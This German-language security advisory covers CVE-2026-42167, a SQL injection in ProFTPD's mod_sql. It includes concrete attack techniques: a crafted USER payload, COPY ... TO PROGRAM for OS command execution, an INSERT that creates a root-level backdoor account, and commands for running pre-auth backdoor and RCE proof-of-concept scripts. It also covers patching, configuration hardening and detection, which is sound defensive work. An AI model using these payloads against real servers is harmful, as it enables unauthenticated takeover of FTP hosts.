
Technische Analyse und Proof-of-Concept für CVE-2026-42167, eine kritische SQL-Injection in ProFTPD mod_sql, die eine Authentifizierungsumgehung, die Einschleusung von Hintertür-Benutzern und die Ausführung von Remote-Code ermöglicht.
| Attribut | Wert |
|---|
| Typ | SQL-Injection (CWE-89) |
| Schweregrad | Hoch/Kritisch |
| CVSS v3 | 8.1 |
| Komponente | mod_sql in ProFTPD < 1.3.9a |
| Gemeldet von | ZeroPath Research |
| Datum | 28. April 2026 |
is_escaped_text()ProFTPD verwendet die Funktion is_escaped_text(), um zu bestimmen, ob ein Wert bereits bereinigt wurde, bevor er in eine SQL-Abfrage eingefügt wird. Die Funktion nimmt an, dass jede Eingabe, die:
' beginnt' endet...bereits escaped wurde und keine weitere Verarbeitung erfordert.
Ein Angreifer kann einen bösartigen Benutzernamen senden wie:
USER ' || (SELECT 1) ||'
Wenn dieser in eine SQL-Abfrage eingefügt wird wie:
INSERT "'%U', '%r', '%m'" activity_log
Entsteht:
INSERT "'' || (SELECT 1) || ''" activity_log
Das Payload wird als beliebiger SQL-Code ausgeführt, da die ||-Operatoren leere Zeichenfolgen um den injizierten Befehl herum verketten.
Anforderungen:
%U- oder %{basename}-Variablen aktiviertTechnik:
COPY (SELECT 1) TO PROGRAM 'bösartiger_befehl'
Führt Betriebssystembefehle als Benutzer postgres aus.
Anforderungen:
SQLAuthenticate aktiviert%U-Variable in SQLLog ERR_* (Pre-Authentifizierung)Technik:
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
Der Angreifer injiziert einen Backdoor-Benutzer mit uid=0 (root) und Zugriff auf das gesamte Dateisystem.
Anforderungen:
Technik: Zeitbasierte blinde SQL-Injection zur Extraktion von Anmeldeinformationen Zeichen für Zeichen.
| Variable | Bedeutung | Umfang |
|---|---|---|
%U | Originaler Benutzername (vor Authentifizierung) | Pre-auth |
%A | Passwort für anonymen Login | Pre-auth |
%J | Befehlsparameter | Pre-auth |
%m | FTP-Verb (STOR, RETR, etc.) | Pre-auth |
%{basename} | Dateinamenkomponente | Post-auth |
%l | Ident-Antwort (RFC 1413) | Pre-auth (falls identd verfügbar) |
Pre-Authentifizierung (am kritischsten):
%U + SQLLog ERR_* → Keine Anmeldeinformationen erforderlich
Post-Authentifizierung:
%{basename} + SQLLog STOR → Erfordert einen beliebigen gültigen FTP-Benutzer
Sofort auf ProFTPD 1.3.9a oder höher aktualisieren:
# Aktuelle Version prüfen
proftpd -v
# Aktualisieren (Beispiel für Debian/Ubuntu)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
Falls ein sofortiges Update nicht möglich ist:
# Diese Zeilen in proftpd.conf auskommentieren oder entfernen
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- In PostgreSQL einen Benutzer ohne Superuser-Rechte erstellen
CREATE USER proftpd_user WITH PASSWORD 'sicheres_passwort';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- KEIN SUPERUSER vergeben
TraceLog /var/log/proftpd/trace.log
Trace sql:17
In den ProFTPD-Trace-Logs (mit Trace sql:17 aktiviert) suchen:
text 'payload' is already escaped, skipping escaping it again
Diese Meldung zeigt an, dass ein Bypass-Versuch von der verwundbaren Engine verarbeitet wurde.
# Detaillierte Traces aktivieren
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# ProFTPD neu starten
sudo systemctl restart proftpd
# Logs überwachen
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| Version | Status |
|---|---|
| < 1.3.9 | ❌ Verwundbar |
| 1.3.9 | ❌ Verwundbar |
| ≥ 1.3.9a | ✅ Gepatcht |
| ≥ 1.3.10rc1 | ✅ Gepatcht |
# Repository klonen
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# Anforderungen
# - Docker
# - Git
# - Python 3.10+
# - uv (Python-Paketmanager)
# Verwundbare Umgebung einrichten
cd setup
./setup.sh
# PoCs ausführen
cd ../pocs
python3 preauth_user_backdoor.py # Backdoor-Benutzer injizieren (pre-auth)
python3 preauth_user_rce.py # RCE über COPY TO PROGRAM (pre-auth)
python3 postauth_stor_backdoor.py # Benutzer injizieren (post-auth)
python3 postauth_stor_rce.py # RCE (post-auth)
# Aufräumen
cd ../setup
./teardown.sh
| Datum | Ereignis |
|---|---|
| 2026-03-28 | Schwachstelle an ProFTPD gemeldet |
| 2026-04-07 | Verifizierung und Patch-Entwicklung |
| 2026-04-24 | CVE-2026-42167 zugewiesen |
| 2026-04-27 | Patch veröffentlicht (Commit af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | ProFTPD 1.3.9a veröffentlicht |
SQLLog-Konfigurationen auf allen ProFTPD-Servern überprüfenLetzte Aktualisierung: 28. April 2026
Quelle: ZeroPath Research, MITRE CVE, NVD